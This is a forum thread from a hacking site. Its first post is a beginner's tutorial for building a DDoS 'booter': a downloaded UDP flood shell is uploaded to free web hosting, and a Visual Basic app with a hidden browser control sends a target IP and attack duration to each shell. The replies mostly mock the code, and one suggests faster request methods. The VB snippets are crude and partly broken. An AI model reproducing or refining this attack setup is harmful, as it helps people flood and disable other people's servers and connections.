Thread: [The advanced version of https://hackforums.net/showthread.php?tid=4063957](https://hackforums.net/showthread.php?tid=4063957)

--..... - February 16, 2014, 9:49 am

What you will need

Vb 2010 express

UDP Shell Source (you can use a shell online but i dont recomend it)

Ignore the dbprepare at the link

(udp shell source can be downloaded here https://www.mediafire.com/folder/e0jcyah.../Udp_shell)

(1:Making the UDP Shell)Make a new Website on SPAM

goto the cpanelgoto file manager

click public_html

check the box by default.php

click delete

go thru with it then click the blue arrow

now click upload

click chose file under files

chose the jure.php

click the green check

click the blue arrow

now go back to the cpanel

now goto your website

it should say Index of /

Jure.php

click the jure.php

then take your website and do this (url = website url, filename.php = jure.php)

url.com//filename.php?act=phptools

then theres your shell :D

...

now its time for the booter

(2:Coding the Booter)

in vb Now make a standard application

and put

•2 Buttons

2 Textboxes

1 Webbrowser

2 labels

on it

•Put the textboxes in order first one will be for the IP address the 2nd one will be for the time.

•Hide webbrowser 1 make it hidden

Rename label 1 to IP

Rename label 2 to Time

Now make A new Form named settings

now go to form1 and double click button 1 and put the code:

webbrowser1.navigate ("Settings.textbox1.text") + TextBox1.Text + "&time=" + TextBox2.Text)

and do that for as many shells as you want

webbrowser1.navigate ("Settings.textbox2.text") + TextBox1.Text + "&time=" + TextBox2.Text)

webbrowser1.navigate ("Settings.textbox3.text") + TextBox1.Text + "&time=" + TextBox2.Text)

```
webbrowser1.navigate ("Settings.textbox4.text") + TextBox1.Text + "&time=" + TextBox2.Text)
webbrowser1.navigate ("Settings.textbox5.text") + TextBox1.Text + "&time=" + TextBox2.Text)
webbrowser1.navigate ("Settings.textbox6.text") + TextBox1.Text + "&time=" + TextBox2.Text)
webbrowser1.navigate ("Settings.textbox7.text") + TextBox1.Text + "&time=" + TextBox2.Text)
```

now go back to settings design

put how many shells you want in as textboxes

and a button :D

on settings double click button 1

and put this code

```
me.hide
```

```
form1.show
```

on form 1 put 1 more button

and put this code

```
me.hide
```

```
settings.show
```

and there you go:D just save your shells to a text doc bcuz this does not save them once the program is shut down and pc is restarted the shells are gone just save them to save headache you can also manually load a few

THIS IS THE ADVANCED

for an easier version <https://hackforums.net/showthread.php?tid=4063957>

NETExplorer - February 16, 2014, 9:55 am

What the fuck is this.

Is this a serious tutorial?

--...-- - February 16, 2014, 1:38 pm

hey im new and compared to the other it is advanced. im not good with background workers....

SpriteZ - February 16, 2014, 1:43 pm

SPAM for hosting DOS shells? What the

medialib - February 16, 2014, 1:47 pm

Congratulations, your code is shit.

Hope to see more future projects.

Haha I love the subtile irony :D

To OP:

first put your codes in brackets , and second use webrequests & threads.

He B TeMy - February 16, 2014, 3:50 pm

HAHAHHAHAHAHAH, you're seriously using a webbrowser for this? IOL
